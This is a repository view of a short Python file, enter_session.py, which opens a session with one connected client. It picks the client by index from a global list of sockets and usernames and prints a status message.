summaryrefslogtreecommitdiff
path: root/domestic/session/enter_session.py
blob: dae4bac4df5a70a7290e0bff754c60be40f1d499 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from domestic.parse.error_exception_handling import *
from domestic.session.session_message import *
from domestic.utility.status_message import *
from domestic.global_state import *


@error_exception_handling
def enter_session(message):
  index = validate_dict_key(message, 'index')

  if index:
    state['session'] = {'active': True, 'socket': state['sockets']['clients'][0][int(index)], 'username': state['sockets']['clients'][2][int(index)]['username'], 'data': None}
    status_message('Session succesfully established', 'success')
  else:
    raise Exception('Error message')